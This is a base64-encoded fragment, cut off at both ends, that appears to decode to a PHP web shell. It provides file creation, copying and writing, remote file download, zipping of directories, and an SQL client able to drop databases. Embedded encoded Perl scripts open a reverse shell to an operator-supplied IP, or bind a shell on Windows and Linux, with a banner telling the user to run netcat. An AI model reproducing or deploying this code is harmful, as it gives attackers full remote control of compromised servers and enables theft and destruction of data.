OzwvYj4gTmFtZSBGaWxlIDwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj4NCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogMTBwdCI+PGlucHV0IG5hbWU9Y2ZpbGVuYW1lIHNpemU9MjA+Jy4kbm93YWRkcmVzcy4nIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iIENyZWF0ZSAiPjwvZm9ybT48L3RkPjwvdHI+PHRyPg0KPHRkIHdpZHRoPSIyMDAiIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0Ij4nLiRmb3JtcC4nPGI+Q29weSAtLS0tJmd0OzwvYj48L2I+Jm5ic3A7Jm5ic3A7RmlsZSA6IDwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0Ij4NCjxpbnB1dCBzaXplPTQwIG5hbWU9Y29weW5hbWU+IFRvIERpcmVjdG9yeSA8aW5wdXQgc2l6ZT00MCBuYW1lPWNweXRvPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWUgPUNvcHk+PC9mb3JtPjwvdGQ+Jy4kZW5kO2V4aXQ7DQp9fQ0KaWYoJF9QT1NUWydhZGxyJ10gJiYgJF9QT1NUWydhZHNyJ10pew0KJHVybCA9ICRfUE9TVFsnYWRsciddOw0KJG5ld2ZuYW1lID0gJF9QT1NUWydhZHNyJ10gLiBiYXNlbmFtZSgkdXJsKTsNCiRmaWxlID0gZm9wZW4gKCR1cmwsICJyYiIpOw0KaWYgKCRmaWxlKSB7DQogICRuZXdmID0gZm9wZW4gKCRuZXdmbmFtZSwgIndiIik7DQogIGlmICgkbmV3ZikNCiAgd2hpbGUoIWZlb2YoJGZpbGUpKSB7DQogICAgZndyaXRlKCRuZXdmLCBmcmVhZCgkZmlsZSwgMTAyNCAqIDggKSwgMTAyNCAqIDggKTsNCiAgfQ0KICBhbGVydCgiRmlsZSBEb3dubG9hZGVkIFN1Y2Nlc3MiKTsNCn1lbHNle2FsZXJ0KCJDYW4gTm90IE9wZW4gRmlsZSIpO30NCmlmICgkZmlsZSkgew0KICBmY2xvc2UoJGZpbGUpOw0KfQ0KaWYgKCRuZXdmKSB7DQogIGZjbG9zZSgkbmV3Zik7DQp9DQp9DQppZigkX0dFVFsnZG8nXT09ImRvd24iIGFuZCAkX0dFVFsndHlwZSddPT0nZmlsZScpew0KZG93bmxvYWQoJF9HRVRbJ2FkZHJlc3MnXSwkX0dFVFsnZmlsZW5hbWUnXSk7fQ0KaWYoJF9HRVRbJ2RvJ109PSJkb3duIiBhbmQgJF9HRVRbJ3R5cGUnXT09J2Rpcicpew0KY2xhc3MgemlwZmlsZQ0Kew0KdmFyICRkYXRhc2VjID0gYXJyYXkoKTsgDQp2YXIgJGN0cmxfZGlyID0gYXJyYXkoKTsgDQp2YXIgJGVvZl9jdHJsX2RpciA9ICJceDUwXHg0Ylx4MDVceDA2XHgwMFx4MDBceDAwXHgwMCI7DQp2YXIgJG9sZF9vZmZzZXQgPSAwOw0KZnVuY3Rpb24gYWRkX2RpcigkbmFtZSkNCnsNCiRuYW1lID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkbmFtZSk7DQokZnIgPSAiXHg1MFx4NGJceDAzXHgwNCI7DQokZnIgLj0gIlx4MGFceDAwIjsNCiRmciAuPSAiXHgwMFx4MDAiOw0KJGZyIC49ICJceDAwXHgwMCI7DQokZnIgLj0gIlx4MDBceDAwXHgwMFx4MDAiOw0KJGZyIC49IHBhY2soIlYiLDApOw0KJGZyIC49IHBhY2soIlYiLDApOw0KJGZyIC49IHBhY2soIlYiLDApOw0KJGZyIC49IHBhY2soInYiLCBzdHJsZW4oJG5hbWUpICk7IA0KJGZyIC49IHBhY2soInYiLCAwICk7DQokZnIgLj0gJG5hbWU7DQokZnIgLj0gcGFjaygiViIsJGNyYyk7IA0KJGZyIC49IHBhY2soIlYiLCRjX2xlbik7IA0KJGZyIC49IHBhY2soIlYiLCR1bmNfbGVuKTsNCiR0aGlzIC0+IGRhdGFzZWNbXSA9ICRmcjsNCiRuZXdfb2Zmc2V0ID0gc3RybGVuKGltcGxvZGUoIiIsICR0aGlzLT5kYXRhc2VjKSk7DQokY2RyZWMgPSAiXHg1MFx4NGJceDAxXHgwMiI7DQokY2RyZWMgLj0iXHgwMFx4MDAiOyANCiRjZHJlYyAuPSJceDBhXHgwMCI7IA0KJGNkcmVjIC49Ilx4MDBceDAwIjsgDQokY2RyZWMgLj0iXHgwMFx4MDAiOyANCiRjZHJlYyAuPSJceDAwXHgwMFx4MDBceDAwIjsgDQokY2RyZWMgLj0gcGFjaygiViIsMCk7IA0KJGNkcmVjIC49IHBhY2soIlYiLDApOyANCiRjZHJlYyAuPSBwYWNrKCJWIiwwKTsgDQokY2RyZWMgLj0gcGFjaygidiIsIHN0cmxlbigkbmFtZSkgKTsNCiRjZHJlYyAuPSBwYWNrKCJ2IiwgMCApOw0KJGNkcmVjIC49IHBhY2soInYiLCAwICk7IA0KJGNkcmVjIC49IHBhY2soInYiLCAwICk7IA0KJGNkcmVjIC49IHBhY2soInYiLCAwICk7IA0KJGV4dCA9ICJceDAwXHgwMFx4MTBceDAwIjsNCiRleHQgPSAiXHhmZlx4ZmZceGZmXHhmZiI7DQokY2RyZWMgLj0gcGFjaygiViIsIDE2ICk7DQokY2RyZWMgLj0gcGFjaygiViIsICR0aGlzIC0+IG9sZF9vZmZzZXQgKTsNCiR0aGlzIC0+IG9sZF9vZmZzZXQgPSAkbmV3X29mZnNldDsNCiRjZHJlYyAuPSAkbmFtZTsNCiR0aGlzIC0+IGN0cmxfZGlyW10gPSAkY2RyZWM7DQp9DQpmdW5jdGlvbiBhZGRfZmlsZSgkZGF0YSwgJG5hbWUpDQp7DQokbmFtZSA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJG5hbWUpOw0KJGZyID0gIlx4NTBceDRiXHgwM1x4MDQiOw0KJGZyIC49ICJceDE0XHgwMCI7DQokZnIgLj0gIlx4MDBceDAwIjsNCiRmciAuPSAiXHgwOFx4MDAiOyANCiRmciAuPSAiXHgwMFx4MDBceDAwXHgwMCI7DQokdW5jX2xlbiA9IHN0cmxlbigkZGF0YSk7DQokY3JjID0gY3JjMzIoJGRhdGEpOw0KJHpkYXRhID0gZ3pjb21wcmVzcygkZGF0YSk7DQokemRhdGEgPSBzdWJzdHIoIHN1YnN0cigkemRhdGEsIDAsIHN0cmxlbigkemRhdGEpIC0gNCksIDIpOw0KJGNfbGVuID0gc3RybGVuKCR6ZGF0YSk7DQokZnIgLj0gcGFjaygiViIsJGNyYyk7DQokZnIgLj0gcGFjaygiViIsJGNfbGVuKTsNCiRmciAuPSBwYWNrKCJWIiwkdW5jX2xlbik7DQokZnIgLj0gcGFjaygidiIsIHN0cmxlbigkbmFtZSkgKTsNCiRmciAuPSBwYWNrKCJ2IiwgMCApOw0KJGZyIC49ICRuYW1lOw0KJGZyIC49ICR6ZGF0YTsNCiRmciAuPSBwYWNrKCJWIiwkY3JjKTsNCiRmciAuPSBwYWNrKCJWIiwkY19sZW4pOyANCiRmciAuPSBwYWNrKCJWIiwkdW5jX2xlbik7IA0KJHRoaXMgLT4gZGF0YXNlY1tdID0gJGZyOw0KJG5ld19vZmZzZXQgPSBzdHJsZW4oaW1wbG9kZSgiIiwgJHRoaXMtPmRhdGFzZWMpKTsNCiRjZHJlYyA9ICJceDUwXHg0Ylx4MDFceDAyIjsNCiRjZHJlYyAuPSJceDAwXHgwMCI7DQokY2RyZWMgLj0iXHgxNFx4MDAiOyANCiRjZHJlYyAuPSJceDAwXHgwMCI7DQokY2RyZWMgLj0iXHgwOFx4MDAiOw0KJGNkcmVjIC49Ilx4MDBceDAwXHgwMFx4MDAiOyANCiRjZHJlYyAuPSBwYWNrKCJWIiwkY3JjKTsgDQokY2RyZWMgLj0gcGFjaygiViIsJGNfbGVuKTsgDQokY2RyZWMgLj0gcGFjaygiViIsJHVuY19sZW4pOyANCiRjZHJlYyAuPSBwYWNrKCJ2Iiwgc3RybGVuKCRuYW1lKSApOw0KJGNkcmVjIC49IHBhY2soInYiLCAwICk7IA0KJGNkcmVjIC49IHBhY2soInYiLCAwICk7IA0KJGNkcmVjIC49IHBhY2soInYiLCAwICk7IA0KJGNkcmVjIC49IHBhY2soInYiLCAwICk7IA0KJGNkcmVjIC49IHBhY2soIlYiLCAzMiApOyANCiRjZHJlYyAuPSBwYWNrKCJWIiwgJHRoaXMgLT4gb2xkX29mZnNldCApOw0KJHRoaXMgLT4gb2xkX29mZnNldCA9ICRuZXdfb2Zmc2V0Ow0KJGNkcmVjIC49ICRuYW1lOw0KJHRoaXMgLT4gY3RybF9kaXJbXSA9ICRjZHJlYzsNCn0NCmZ1bmN0aW9uIGZpbGUoKSB7IA0KJGRhdGEgPSBpbXBsb2RlKCIiLCAkdGhpcyAtPiBkYXRhc2VjKTsNCiRjdHJsZGlyID0gaW1wbG9kZSgiIiwgJHRoaXMgLT4gY3RybF9kaXIpOw0KcmV0dXJuDQokZGF0YS4NCiRjdHJsZGlyLg0KJHRoaXMgLT4gZW9mX2N0cmxfZGlyLg0KcGFjaygidiIsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpLg0KcGFjaygidiIsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpLiANCnBhY2soIlYiLCBzdHJsZW4oJGN0cmxkaXIpKS4gDQpwYWNrKCJWIiwgc3RybGVuKCRkYXRhKSkuIA0KIlx4MDBceDAwIjsNCn0NCn0NCiRkbGZvbGRlcj0kX0dFVFsnYWRkcmVzcyddLiRzbGFzaC4kX0dFVFsnZGlybmFtZSddLiRzbGFzaDsNCiR6aXBmaWxlID0gbmV3IHppcGZpbGUoKTsNCmZ1bmN0aW9uIGdldF9maWxlc19mcm9tX2ZvbGRlcigkZGlyZWN0b3J5LCAkcHV0X2ludG8pIHsNCmdsb2JhbCAkemlwZmlsZTsNCmlmICgkaGFuZGxlID0gb3BlbmRpcigkZGlyZWN0b3J5KSkgew0Kd2hpbGUgKGZhbHNlICE9PSAoJGZpbGUgPSByZWFkZGlyKCRoYW5kbGUpKSkgew0KaWYgKGlzX2ZpbGUoJGRpcmVjdG9yeS4kZmlsZSkpIHsNCiRmaWxlQ29udGVudHMgPSBmaWxlX2dldF9jb250ZW50cygkZGlyZWN0b3J5LiRmaWxlKTsNCiR6aXBmaWxlLT5hZGRfZmlsZSgkZmlsZUNvbnRlbnRzLCAkcHV0X2ludG8uJGZpbGUpOw0KfSBlbHNlaWYgKCRmaWxlICE9ICcuJyBhbmQgJGZpbGUgIT0gJy4uJyBhbmQgaXNfZGlyKCRkaXJlY3RvcnkuJGZpbGUpKSB7DQokemlwZmlsZS0+YWRkX2RpcigkcHV0X2ludG8uJGZpbGUuJy8nKTsNCmdldF9maWxlc19mcm9tX2ZvbGRlcigkZGlyZWN0b3J5LiRmaWxlLicvJywgJHB1dF9pbnRvLiRmaWxlLicvJyk7DQp9DQp9DQp9DQpjbG9zZWRpcigkaGFuZGxlKTsNCn0NCiRkYXRlZGw9ZGF0ZSgieS1tLWQiKTsNCmdldF9maWxlc19mcm9tX2ZvbGRlcigkZGxmb2xkZXIsJycpOw0KaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iIC4gJF9HRVRbJ2Rpcm5hbWUnXS4iLSIuJGRhdGVkbC4iLnppcCIpOyAgIA0KaGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2Rvd25sb2FkIik7DQpoZWFkZXIoIkNvbnRlbnQtTGVuZ3RoOiAiIC4gc3RybGVuKCR6aXBmaWxlIC0+IGZpbGUoKSkpOw0KZmx1c2goKTsNCmVjaG8gJHppcGZpbGUgLT4gZmlsZSgpOyANCiRmaWxlbmFtZSA9ICRfR0VUWydkaXJuYW1lJ10uIi0iLiRkYXRlZGwuIi56aXAiOw0KJGZkID0gZm9wZW4gKCRmaWxlbmFtZSwgIndiIik7DQokb3V0ID0gZndyaXRlICgkZmQsICR6aXBmaWxlIC0+IGZpbGUoKSk7DQpmY2xvc2UgKCRmZCk7DQp9DQppZiAoJF9SRVFVRVNUWydjZGlybmFtZSddKXsNCmlmKG1rZGlyKCRfUkVRVUVTVFsnY2Rpcm5hbWUnXSwiMDc3NyIpKXthbGVydCgiRGlyZWN0b3J5IENyZWF0ZWQgISIpO31lbHNle2FsZXJ0KCJQZXJtaXNzaW9uIERlbmllZCAhIik7fX0NCmZ1bmN0aW9uIGJjbigkaXBiYywkcGJjKXsNCiRiY3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzQ2lNZ1EyOXVibVZqZEVKaFkydFRhR1ZzYkNCcGJpQlFaWEpzTGlCVGFHRmtiM2N4TWpBZ0xTQjMNCk5HTnJNVzVuTG1OdmJRb0tkWE5sSUZOdlkydGxkRHNLQ2lSb2IzTjBJRDBnSkVGU1IxWmJNRjA3Q2lSd2IzSjBJRDBnSkVGU1IxWmINCk1WMDdDZ29nSUNBZ2FXWWdLQ0VrUVZKSFZsc3dYU2tnZXdvZ0lIQnlhVzUwWmlBaVd5RmRJRlZ6WVdkbE9pQndaWEpzSUhOamNtbHcNCmRDNXdiQ0E4U0c5emRENGdQRkJ2Y25RK1hHNGlPd29nSUdWNGFYUW9NU2s3Q24wS2NISnBiblFnSWxzclhTQkRiMjV1WldOMGFXNW4NCklIUnZJQ1JvYjNOMFhHNGlPd29rY0hKdmRDQTlJR2RsZEhCeWIzUnZZbmx1WVcxbEtDZDBZM0FuS1RzZ0l5QlpiM1VnWTJGdUlHTm8NCllXNW5aU0IwYUdseklHbG1JRzVsWldSeklHSmxDbk52WTJ0bGRDaFRSVkpXUlZJc0lGQkdYMGxPUlZRc0lGTlBRMHRmVTFSU1JVRk4NCkxDQWtjSEp2ZENrZ2ZId2daR2xsSUNnaVd5MWRJRlZ1WVdKc1pTQjBieUJEYjI1dVpXTjBJQ0VpS1RzS2FXWWdLQ0ZqYjI1dVpXTjANCktGTkZVbFpGVWl3Z2NHRmpheUFpVTI1Qk5IZzRJaXdnTWl3Z0pIQnZjblFzSUdsdVpYUmZZWFJ2Ymlna2FHOXpkQ2twS1NCN1pHbGwNCktDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnSVNJcE8zMEtJQ0J2Y0dWdUtGTlVSRWxPTENJK0psTkZVbFpGVWlJcE93b2cNCklHOXdaVzRvVTFSRVQxVlVMQ0krSmxORlVsWkZVaUlwT3dvZ0lHOXdaVzRvVTFSRVJWSlNMQ0krSmxORlVsWkZVaUlwT3dvZ0lHVjQNClpXTWdleWN2WW1sdUwzTm9KMzBnSnkxaVlYTm9KeUF1SUNKY01DSWdlQ0EwT3c9PSI7DQokb3BiYz1mb3BlbigiYmNjLnBsIiwidyIpOw0KZndyaXRlKCRvcGJjLGJhc2U2NF9kZWNvZGUoJGJjcGVybCkpOw0KZmNsb3NlKCRvcGJjKTsNCnN5c3RlbSgicGVybCBiY2MucGwgJGlwYmMgJHBiYyIpIG9yIGRpZSgiSSBDYW4gTm90IEV4ZWN1dGUgQ29tbWFuZCBGb3IgQmFjayBDb25uZWN0IERpc2FibGVfZnVuY3Rpb25zIE9yIFNhZmUgTW9kZSIpOw0KfQ0KZnVuY3Rpb24gd2JwKCR3Yil7DQokd2JwPSJkWE5sSUZOdlkydGxkRHNLSkhCdmNuUUpQU0FrUVZKSFZsc3dYVHNLSkhCeWIzUnZDVDBnWjJWMGNISnZkRzlpZVc1aGJXVW9KM1JqDQpjQ2NwT3dwemIyTnJaWFFvVTBWU1ZrVlNMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1RzS2MyVjBjMjlqDQphMjl3ZENoVFJWSldSVklzSUZOUFRGOVRUME5MUlZRc0lGTlBYMUpGVlZORlFVUkVVaXdnY0dGamF5Z2liQ0lzSURFcEtUc0tZbWx1DQpaQ2hUUlZKV1JWSXNJSE52WTJ0aFpHUnlYMmx1S0NSd2IzSjBMQ0JKVGtGRVJGSmZRVTVaS1NrN0NteHBjM1JsYmloVFJWSldSVklzDQpJRk5QVFVGWVEwOU9UaWs3Q21admNpZzdJQ1J3WVdSa2NpQTlJR0ZqWTJWd2RDaERURWxGVGxRc0lGTkZVbFpGVWlrN0lHTnNiM05sDQpJRU5NU1VWT1ZDa0tld3B2Y0dWdUtGTlVSRWxPTENBaVBpWkRURWxGVGxRaUtUc0tiM0JsYmloVFZFUlBWVlFzSUNJK0prTk1TVVZPDQpWQ0lwT3dwdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3Q25ONWMzUmxiU2duWTIxa0xtVjRaU2NwT3dwamJHOXpaU2hUDQpWRVJKVGlrN0NtTnNiM05sS0ZOVVJFOVZWQ2s3Q21Oc2IzTmxLRk5VUkVWU1VpazdDbjBnIjsNCiRvcHdiPWZvcGVuKCJ3YnAucGwiLCJ3Iik7DQpmd3JpdGUoJG9wd2IsYmFzZTY0X2RlY29kZSgkd2JwKSk7DQpmY2xvc2UoJG9wd2IpOw0KZWNobyBnZXRjd2QoKTsNCnN5c3RlbSgicGVybCB3YnAucGwgJHdiIikgb3IgZGllKCJJIENhbiBOb3QgRXhlY3V0ZSBDb21tYW5kIEZvciBCYWNrIENvbm5lY3QgRGlzYWJsZV9mdW5jdGlvbnMgT3IgU2FmZSBNb2RlIik7DQp9DQpmdW5jdGlvbiBsYnAoJHdiKXsNCiRsYnA9Ikl5RXZkWE55TDJKcGJpOXdaWEpzQ25WelpTQlRiMk5yWlhRN0pIQnZjblE5SkVGU1IxWmJNRjA3SkhCeWIzUnZQV2RsZEhCeWIzUnYNCllubHVZVzFsS0NkMFkzQW5LVHNrWTIxa1BTSnNjR1FpT3lRd1BTUmpiV1E3YzI5amEyVjBLRk5GVWxaRlVpd2dVRVpmU1U1RlZDd2cNClUwOURTMTlUVkZKRlFVMHNJQ1J3Y205MGJ5azdjMlYwYzI5amEyOXdkQ2hUUlZKV1JWSXNJRk5QVEY5VFQwTkxSVlFzSUZOUFgxSkYNClZWTkZRVVJFVWl3Z2NHRmpheWdpYkNJc0lERXBLVHRpYVc1a0tGTkZVbFpGVWl3Z2MyOWphMkZrWkhKZmFXNG9KSEJ2Y25Rc0lFbE8NClFVUkVVbDlCVGxrcEtUdHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cE8yWnZjaWc3SUNSd1lXUmtjaUE5SUdGalkyVncNCmRDaERURWxGVGxRc0lGTkZVbFpGVWlrN0lHTnNiM05sSUVOTVNVVk9WQ2w3YjNCbGJpaFRWRVJKVGl3Z0lqNG1RMHhKUlU1VUlpazcNCmIzQmxiaWhUVkVSUFZWUXNJQ0krSmtOTVNVVk9WQ0lwTzI5d1pXNG9VMVJFUlZKU0xDQWlQaVpEVEVsRlRsUWlLVHR6ZVhOMFpXMG8NCkp5OWlhVzR2YzJnbktUdGpiRzl6WlNoVFZFUkpUaWs3WTJ4dmMyVW9VMVJFVDFWVUtUdGpiRzl6WlNoVFZFUkZVbElwTzMwZyI7DQokb3BsYj1mb3BlbigibGJwLnBsIiwidyIpOw0KZndyaXRlKCRvcGxiLGJhc2U2NF9kZWNvZGUoJGxicCkpOw0KZmNsb3NlKCRvcGxiKTsNCnN5c3RlbSgicGVybCBsYnAucGwgJHdiIikgb3IgZGllKCJJIENhbiBOb3QgRXhlY3V0ZSBDb21tYW5kIEZvciBCYWNrIENvbm5lY3QgRGlzYWJsZV9mdW5jdGlvbnMgT3IgU2FmZSBNb2RlIik7DQp9DQoNCmlmKCRfUkVRVUVTVFsncG9ydGJ3J10pew0Kd2JwKCRfUkVRVUVTVFsncG9ydGJ3J10pOw0KDQp9aWYoJF9SRVFVRVNUWydwb3J0YmwnXSl7DQpsYnAoJF9SRVFVRVNUWydwb3J0YmwnXSk7DQp9DQppZigkX1JFUVVFU1RbJ2lwY2InXSAmJiAkX1JFUVVFU1RbJ3BvcnRiYyddKXsNCmJjbigkX1JFUVVFU1RbJ2lwY2InXSwkX1JFUVVFU1RbJ3BvcnRiYyddKTsNCg0KfQ0KDQppZigkX1JFUVVFU1RbJ2RvJ109PSJiYyIpew0KZWNobyAkaGVhZC4kZm9ybXAuIjxwIGFsaWduPSdjZW50ZXInPlVzYWdlIDogUnVuIE5ldGNhdCBJbiBZb3VyIE1hY2hpbiBBbmQgRXhlY3V0ZSBUaGlzIENvbW1hbmQoIERpc2FibGUgRmlyZXdhbGwgISEhICk8YnI+PGhyPjxwIGFsaWduPSdjZW50ZXInPjw8PDw8PCBCYWNrIENvbm5lY3QgPj4+Pj4+PGJyPklwIEFkZHJlc3MgOiA8aW5wdXQgbmFtZT1pcGNiIHZhbHVlPSIuJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiI+IFBvcnQgOiA8aW5wdXQgbmFtZT1wb3J0YmMgdmFsdWU9NTU1NT48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPUNvbm5lY3Q+PC9mb3JtPiIuJGZvcm1wLiI8cCBhbGlnbj0nY2VudGVyJz5Vc2FnZSA6IFJ1biBOZXRjYXQgSW4gWW91ciBNYWNoaW4gQW5kIEV4ZWN1dGUgVGhpcyBDb21tYW5kKCBEaXNhYmxlIEZpcmV3YWxsICEhISApPGJyPjxocj48cCBhbGlnbj0nY2VudGVyJz48PDw8PDwgV2luZG93cyBCaW5kIFBvcnQgPj4+Pj4+PGJyPlBvcnQgOiA8aW5wdXQgbmFtZT1wb3J0YncgdmFsdWU9NTU1NT48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPUNvbm5lY3Q+PC9mb3JtPiIuJGZvcm1wLiI8cCBhbGlnbj0nY2VudGVyJz5Vc2FnZSA6IFJ1biBOZXRjYXQgSW4gWW91ciBNYWNoaW4gQW5kIEV4ZWN1dGUgVGhpcyBDb21tYW5kKCBEaXNhYmxlIEZpcmV3YWxsICEhISApPGJyPjxocj48cCBhbGlnbj0nY2VudGVyJz48PDw8PDwgTGludXggQmluZCBQb3J0ID4+Pj4+Pjxicj5Qb3J0IDogPGlucHV0IG5hbWU9cG9ydGJsIHZhbHVlPTU1NTU+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1Db25uZWN0PjwvZm9ybT4iLiRlbmQ7ZXhpdDsNCg0KfQ0KZnVuY3Rpb24gY29weWYoJGZpbGUxLCRmaWxlMiwkZmlsZW5hbWUpew0KZ2xvYmFsICRzbGFzaDsNCiRmcGMgPSBmb3BlbigkZmlsZTEsICJyYiIpOw0KJHNvdXJjZSA9ICcnOw0Kd2hpbGUgKCFmZW9mKCRmcGMpKSB7DQokc291cmNlIC49IGZyZWFkKCRmcGMsIDgxOTIpOw0KfQ0KZmNsb3NlKCRmcGMpOw0KJG9wdCA9IGZvcGVuKCRmaWxlMi4kc2xhc2guJGZpbGVuYW1lLCAidyIpOw0KZndyaXRlKCRvcHQsICRzb3VyY2UpOw0KZmNsb3NlKCRvcHQpOw0KfQ0KaWYgKCRfUkVRVUVTVFsnY29weW5hbWUnXSAmJiAkX1JFUVVFU1RbJ2NweXRvJ10pew0KaWYoaXNfd3JpdGFibGUoJF9SRVFVRVNUWydjcHl0byddKSl7DQplY2hvICRfUkVRVUVTVFsnYWRkcmVzcyddOw0KY29weWYoJF9SRVFVRVNUWydhZGRyZXNzJ10uJHNsYXNoLiRfUkVRVUVTVFsnY29weW5hbWUnXSwkX1JFUVVFU1RbJ2NweXRvJ10sJF9SRVFVRVNUWydjb3B5bmFtZSddKTsNCn1lbHNle2FsZXJ0KCJQZXJtaXNzaW9uIERlbmllZCAhIik7fX0NCmlmKCRfUkVRVUVTVFsnY2ZpbGVuYW1lJ10pew0KDQplY2hvICRoZWFkLiRmb3JtcC4kbm93YWRkcmVzcy4nPHAgYWxpZ249ImNlbnRlciI+PGI+Q3JlYXRlIEZpbGU8L2I+PGJyPjx0ZXh0YXJlYSByb3dzPSIxOSIgbmFtZT0ibmY0Y3MiIGNvbHM9Ijg3Ij48L3RleHRhcmVhPjxicj48aW5wdXQgdmFsdWU9IicuJF9SRVFVRVNUWydjZmlsZW5hbWUnXS4nIiBuYW1lPW5mNGMgc2l6ZT01MD48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSIgIENyZWF0ZSAgIj48L2Zvcm0+Jy4kZW5kO2V4aXQ7DQp9DQoNCmlmKCRfUkVRVUVTVFsnbmY0YyddICYmICRfUkVRVUVTVFsnbmY0Y3MnXSl7DQppZigkb2ZpbGU0Yz1mb3BlbigkX1JFUVVFU1RbJ25mNGMnXSwidyIpKXsNCmZ3cml0ZSgkb2ZpbGU0YywkX1JFUVVFU1RbJ25mNGNzJ10pOw0KZmNsb3NlKCRvZmlsZTRjKTsNCmFsZXJ0KCJGaWxlIFNhdmVkICEiKTt9ZWxzZXthbGVydCgiUGVybWlzc2lvbiBEZW5pZWQgISIpO319DQoNCmZ1bmN0aW9uIHNxbGNsaWVuVCgpew0KZ2xvYmFsICR0LCRlcnJvcmJveCwkZXQsJGhjd2Q7DQppZighZW1wdHkoJF9SRVFVRVNUWydzZXJ2ZVInXSkgJiYgIWVtcHR5KCRfUkVRVUVTVFsndXNlUiddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3Bhc1MnXSkgJiYgIWVtcHR5KCRfUkVRVUVTVFsncXVlclknXSkpew0KJHNlcnZlcj0kX1JFUVVFU1RbJ3NlcnZlUiddOyR0eXBlPSRfUkVRVUVTVFsndHlwRSddOyRwYXNzPSRfUkVRVUVTVFsncGFzUyddOyR1c2VyPSRfUkVRVUVTVFsndXNlUiddOyRxdWVyeT0kX1JFUVVFU1RbJ3F1ZXJZJ107DQokZGI9KGVtcHR5KCRfUkVRVUVTVFsnZEInXSkpPycnOiRfUkVRVUVTVFsnZEInXTsNCiRfU0VTU0lPTltzZXJ2ZXJdPSRfUkVRVUVTVFsnc2VydmVSJ107JF9TRVNTSU9OW3R5cGVdPSRfUkVRVUVTVFsndHlwRSddOyRfU0VTU0lPTltwYXNzXT0kX1JFUVVFU1RbJ3Bhc1MnXTskX1NFU1NJT05bdXNlcl09JF9SRVFVRVNUWyd1c2VSJ107DQoNCn0NCg0KaWYgKGlzc2V0ICgkX0dFVFtzZWxlY3RfZGJdKSl7DQoJJGdldGRiPSRfR0VUW3NlbGVjdF9kYl07DQoJJF9TRVNTSU9OW2RiXT0kZ2V0ZGI7DQoJJHF1ZXJ5PSJTSE9XIFRBQkxFUyI7DQoJJHJlcz1xdWVyWSgkX1NFU1NJT05bdHlwZV0sJF9TRVNTSU9OW3NlcnZlcl0sJF9TRVNTSU9OW3VzZXJdLCRfU0VTU0lPTltwYXNzXSwkX1NFU1NJT05bZGJdLCRxdWVyeSk7DQp9DQplbHNlaWYgKGlzc2V0ICgkX0dFVFtzZWxlY3RfdGJsXSkpew0KCSR0Ymw9JF9HRVRbc2VsZWN0X3RibF07DQoJJF9TRVNTSU9OW3RibF09JHRibDsNCgkkcXVlcnk9IlNFTEVDVCAqIEZST00gYCR0YmxgIjsNCgkkcmVzPXF1ZXJZKCRfU0VTU0lPTlt0eXBlXSwkX1NFU1NJT05bc2VydmVyXSwkX1NFU1NJT05bdXNlcl0sJF9TRVNTSU9OW3Bhc3NdLCRfU0VTU0lPTltkYl0sJHF1ZXJ5KTsNCn0NCmVsc2VpZiAoaXNzZXQgKCRfR0VUW2Ryb3BfZGJdKSl7DQoJJGdldGRiPSRfR0VUW2Ryb3BfZGJdOw0KCSRfU0VTU0lPTltkYl09JGdldGRiOw0KCSRxdWVyeT0iRFJPUCBEQVRBQkFTRSBgJGdldGRiYCI7DQoJcXVlclkoJF9TRVNTSU9OW3R5cGVdLCRfU0VTU0lPTltzZXJ2ZXJdLCRfU0VTU0lPTlt1c2VyXSwkX1NFU1NJT05bcGFzc10sJycsJHF1ZXJ5KTsNCgkkcmVzPXF1ZXJZKCRfU0VTU0lPTlt0eXBlXSwkX1NFU1NJT05bc2VydmVyXSwkX1NFU1NJT05bdXNlcl0sJF9TRVNTSU9OW3Bhc3NdLCcnLCdTSE9XIERBVEFCQVNFUycpOw0KfQ0KZWxzZWlmIChpc3NldCAoJF9HRVRbZHJvcF90YmxdKSl7DQoJJGdldGJsPSRfR0VUW2Ryb3BfdGJsXTsNCgkkcXVlcnk9IkRST1AgVEFCTEUgYCRnZXRibGAiOw0KCXF1ZXJZKCRfU0VTU0lPTlt0eXBlXSwkX1NFU1NJT05bc2VydmVyXSwkX1NFU1NJT05bdXNlcl0sJF9TRVNTSU9OW3Bhc3NdLCRfU0VTU0lPTltkYl0sJHF1ZXJ5KTsNCgkkcmVzPXF1ZXJZKCRfU0VTU0lPTlt0eXBlXSwkX1NFU1NJT05bc2VydmVyXSwkX1NFU1NJT05bdXNlcl0sJF9TRVNTSU9OW3Bhc3NdLCRfU0VTU0lPTltkYl0sJ1NIT1cgVEFCTEVTJyk7DQp9DQplbHNlaWYgKGlzc2V0ICgkX0dFVFtkcm9wX3Jvd10pKXsNCgkkZ2V0cm93PSRfR0VUW2Ryb3Bfcm93XTsNC